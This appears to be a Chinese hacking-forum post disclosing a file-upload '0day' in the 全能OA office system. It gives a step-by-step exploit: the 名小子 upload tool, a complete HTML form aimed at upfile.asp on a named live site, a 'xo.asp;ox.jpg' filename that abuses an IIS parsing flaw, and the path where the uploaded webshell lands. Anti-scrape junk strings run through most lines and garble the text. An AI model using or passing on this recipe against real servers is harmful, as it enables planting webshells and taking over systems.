全能OA办公系统0day OA办公系统漏洞 上传漏洞

admin

全能OA办公系统 上传漏洞
​
) o2 G2 b6 v. \' f: c( R系统介绍：

! U! a# z+ W3 @( |  j# p( i+ O全能OA办公系统2012是功能非常强大的OA系统，目前功能已完全能满足日常办公需要。
5 i, @" v* q4 ~( p( T. y
主要功能：
公司通告
/ `8 ~  m( C4 I% O' e工作计划
通讯助理
客户资源
我的公文
4 v: g  [& K: r) t, ~$ c公文传阅
( m4 y; P" ~0 }6 c+ ~2 ]公共资源
( K! {4 d. n$ V2 v资源预约
今日考勤
, a' @  W/ _1 |) j$ y; M  D个人计划
, d" ]1 o$ p2 {' x2 p! {, A个人通讯录
个人基本档案
未读邮件
/ m5 U4 p4 H& [( H9 Q4 r发邮件
& s$ U2 O4 c7 x) L% }收件夹
3 R% H6 ~( G& H/ W* n3 f3 a1 j  [寄件夹
7 W# W1 ?7 u: h8 Z网络硬盘
网络会议
网络调查
0 d) a& M" C3 e( u交流论坛
' `: a* U8 }2 h4 K% X( K5 F
. J( p) y9 _, `有兴趣测试的朋友可以下源码看看

, m/ m; v+ j8 t8 A$ X8 C源码下载：
! N8 ]# \; E' E% h4 ~) O
http://www.mycodes.net/30/4750.htm

7 y) \  |5 G% G  }8 P2 W3 c漏洞介绍：

( [' @+ B- v* M" d& F8 T% s: y由upfile.asp上传文件漏洞引起

测试方法：

2 i- m& r. I" C; B使用名小子上传http://www.itlynn.com/upfile.asp即可

3 W6 O4 \' _. l4 Q如果upfile.asp文件被删除不存在。

* H" f# d0 G% @  那么可以试着访问http://www.itlynn.com/upfile/upfile.asp 。
* \4 a/ T3 K: b  J, h( U! H: ]: E
! p9 F3 |1 T% q, Q4 n3 i  j如果存在那么将如下代码保存为upfile.html。
6 w$ E/ t& Z/ Q9 k0 G9 I% r
然后将action的参数修改为目标站点的url。例如 http://www.itlynn.com/upfile/upfile.asp。
7 f; R# A  s2 V3 |  E/ j+ ]
. o2 O) c, v; q

01 <table border='0' align="center" cellpadding="5">

" {4 K  }' I" V% x5 j% G02 <form method="POST"action="http://www.itlynn.com/upfile/upfile.asp"enctype="multipart/form-data"id="form1"name="form1">
' m% F) _* s4 @. r
03 <tr>
" z9 R' V+ q! F
; {! E! P% _& k04             <td>报错：</td>
7 p8 r5 @. }7 i) W
5 m( {5 Y; ~$ h8 @9 }5 D3 |05             <td><input type='radio' name='errnumber' value='0'>
% X1 Q: I, ?6 {' i( T* l
$ Q: X# K* }9 k/ Q: V/ w) ^06               自动更名
; M  |, U8 ^& K) x  r6 E( D6 H
07               <input type='radio' name='errnumber' value='1' checked>
9 g& t( G' G/ l
; J7 g0 \- {3 i6 x0 E# r. D6 {08               报错方式
# N: j0 E/ N  q* h7 o
09               <input type='radio' name='errnumber' value='2'>

' s, M) I, i" i8 v; v3 h( v10               直接覆盖</td>
- z4 d% f9 o$ s* O4 J6 ?7 m. V
# @- a; L/ G* e, w- z3 ?7 @% U2 J11           </tr>

12           <tr>

0 J0 V5 w' ]: Y+ y6 o' R3 o13             <td>主题：</td>

* g5 C3 s$ h8 M' y' T1 M14             <td><input type='text' name='filename' size='30'></td>

15           </tr>

7 ^3 j& g$ @$ ?# J8 e) {. E16           <tr>
6 l) O  S( z3 f% |# ]% f
17             <td>文件：</td>
$ l1 Y1 T  H- o, `
# \9 @! {6 D3 |% r18             <td><input type="file"name="fruit"size="30"></td>

- l' `, v  ^$ ]19           </tr>

20           <tr>

21             <td valign='top'>简介：</td>

; i) k( p+ \4 b+ h3 s3 O# X# C7 s: C22             <td><textarea name='fileExt' cols='40' rows='5'></textarea></td>

23           </tr>
& h% N- O0 q6 ~; X
24   
, w& h! o( t% ]$ W; H4 V; `. a: z
" A; o: L) |$ b$ [+ B" Y+ u25             <td colspan='2'><input type="submit" value="上传文件" name="subbutt"></td>
$ n% e, i" j4 `9 n- ]1 w5 `
26           </tr>

5 y$ b% ~) \$ }1 A, d5 e27         </form>
9 G) p$ ?8 |4 p9 ^
然后打开上传一个文件名为xo.asp;ox.jpg的文件。
+ x- ~5 v) r% v. S

- [3 U4 B/ @; A
( e8 {6 |& L7 P上传成功后，马的路径是：http://www.itlynn.com/upfile/savepath/xo.asp;ox.jpg

$ X8 |, q; N/ j0 H# k此漏洞需要配合解析漏洞利用。